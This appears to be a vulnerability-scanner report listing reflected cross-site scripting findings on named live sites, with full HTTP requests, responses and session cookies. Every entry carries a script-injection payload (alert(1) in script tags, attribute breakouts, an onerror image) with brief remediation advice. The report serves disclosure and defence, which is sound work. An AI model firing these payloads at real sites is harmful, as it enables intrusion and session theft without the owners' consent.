The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a9f64"-alert(1)-"4bb4721a55e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/themes/03BlueMeany/style.cssa9f64"-alert(1)-"4bb4721a55e HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:57:07 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86915"-alert(1)-"a2383cc0931 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes86915"-alert(1)-"a2383cc0931/themes/03BlueMeany/styles.css HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:23 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32985
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 942cd"-alert(1)-"ffd8d4c4a27 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/themes942cd"-alert(1)-"ffd8d4c4a27/03BlueMeany/styles.css HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:31 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32001
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 17188"-alert(1)-"4251e1c163 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/themes/03BlueMeany17188"-alert(1)-"4251e1c163/styles.css HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:46 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 31910
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eac0c"-alert(1)-"7fb6f8e43f1 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/themes/03BlueMeany/styles.csseac0c"-alert(1)-"7fb6f8e43f1 HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:55 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32545
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 41045<img%20src%3da%20onerror%3dalert(1)>5f7c0dc355 was submitted in the q parameter. This input was echoed as 41045<img src=a onerror=alert(1)>5f7c0dc355 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the cid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 791b3</script><script>alert(1)</script>95b6769fb51 was submitted in the cid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /comment_html.php?cid=791b3</script><script>alert(1)</script>95b6769fb51 HTTP/1.1 Host: blog.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; NSC_xxx-tvqfsqbhft-dpn-80=ffffffff948213d345525d5f4f58455e445a4a423660; s_sq=%5B%5BB%5D%5D; undefined_s=First%20Visit; mbox=session#1296759528614-838261#1296763697|check#true#1296761897;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 19:47:38 GMT Server: Unspecified Content-Length: 101 Connection: close Content-Type: text/html Set-Cookie: NSC_xxx-tvqfsqbhft-dpn-80=ffffffff948213d345525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 20:02:38 GMT;path=/
1.41. http://boardreader.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2e1f"><script>alert(1)</script>3606575b7cc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /index.php?z=1&source=opensearch&a=s&q={searchTerms}&b2e1f"><script>alert(1)</script>3606575b7cc=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:52:49 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta ...[SNIP]... <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://boardreader.com/rss/%7BsearchTerms%7D.html?source=opensearch&b2e1f"><script>alert(1)</script>3606575b7cc=1&p=20&format=RSS2.0" /> ...[SNIP]...
1.42. http://boardreader.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2d10e'><script>alert(1)</script>2f96e732bb6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /index.php?z=1&source=opensearch&a=s&q={searchTerms}&2d10e'><script>alert(1)</script>2f96e732bb6=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:53:00 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta ...[SNIP]... <input type=hidden name='2d10e'><script>alert(1)</script>2f96e732bb6' value="1"> ...[SNIP]...
1.43. http://boardreader.com/my/signup.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/my/signup.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da9f2"><script>alert(1)</script>671f469cc02 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my/signup.html?da9f2"><script>alert(1)</script>671f469cc02=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:38 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <form name="mylogin_" action="/my/signup.html?da9f2"><script>alert(1)</script>671f469cc02=1" method="POST"> ...[SNIP]...
1.44. http://boardreader.com/pop/articles/-/-/7.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/articles/-/-/7.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37ec4"><script>alert(1)</script>e3800dfbbbc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/articles/-/-/7.html?37ec4"><script>alert(1)</script>e3800dfbbbc=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:32:07 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/Toilet%2Bpaper%2Borientation.html?37ec4"><script>alert(1)</script>e3800dfbbbc=1" title="Search discussions for item "Toilet paper orientation""> ...[SNIP]...
1.45. http://boardreader.com/pop/films/-/-/3.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/films/-/-/3.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef06b"><script>alert(1)</script>06db0769bba was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/films/-/-/3.html?ef06b"><script>alert(1)</script>06db0769bba=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:56 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/D.html?ef06b"><script>alert(1)</script>06db0769bba=1" title="Search discussions for item "D""> ...[SNIP]...
1.46. http://boardreader.com/pop/instructions/-/-/7.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/instructions/-/-/7.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a5f8"><script>alert(1)</script>69f17f800bf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/instructions/-/-/7.html?9a5f8"><script>alert(1)</script>69f17f800bf=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:57 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/How%2Bto%2BBuild%2Ban%2BEarthbag%2BDome.html?9a5f8"><script>alert(1)</script>69f17f800bf=1" title="Search discussions for item "How to Build an Earthbag Dome""> ...[SNIP]...
1.47. http://boardreader.com/pop/news/-/-/3.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/news/-/-/3.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 633c8"><script>alert(1)</script>21ff8f9967b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/news/-/-/3.html?633c8"><script>alert(1)</script>21ff8f9967b=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:32:01 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/Chinese%2Bair%2Bforce%2Bdrill%2Blooks%2Bawfully%2Bsimilar%2Bto%2B%25E2%2580%2598Top%2BGun%25E2%2580%2599.html?633c8"><script>alert(1)</script>21ff8f9967b=1" title="Search discussions for item "Chinese air force drill looks awfully similar to ...Top Gun...""> ...[SNIP]...
1.48. http://boardreader.com/pop/releases/-/-/3.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/releases/-/-/3.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ccc3d"><script>alert(1)</script>263690e9a78 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/releases/-/-/3.html?ccc3d"><script>alert(1)</script>263690e9a78=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:58 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a class="disc" href="/s/Hyundai%2BMotor%2BAmerica%2BReports%2BRecord%2BJanuary%2BSales%2B--%2BFOUNTAIN%2BVALLEY%252C%2BCalif.%252C%2BFeb.%2B1%252C%2B2011%2B%252FPRNewswire%252F%2B--.html?ccc3d"><script>alert(1)</script>263690e9a78=1" title="Search discussions for item "Hyundai Motor America Reports Record January Sales -- FOUNTAIN VALLEY, Calif., Feb. 1, 2011 /PRNewswire/ --""> ...[SNIP]...
1.49. http://boardreader.com/pop/sites.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/pop/sites.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9c1aa'><script>alert(1)</script>341d035808d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pop/sites.html?9c1aa'><script>alert(1)</script>341d035808d=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; __utma=69622787.1197951510.1296677341.1296677341.1296762768.2; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 20:31:56 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
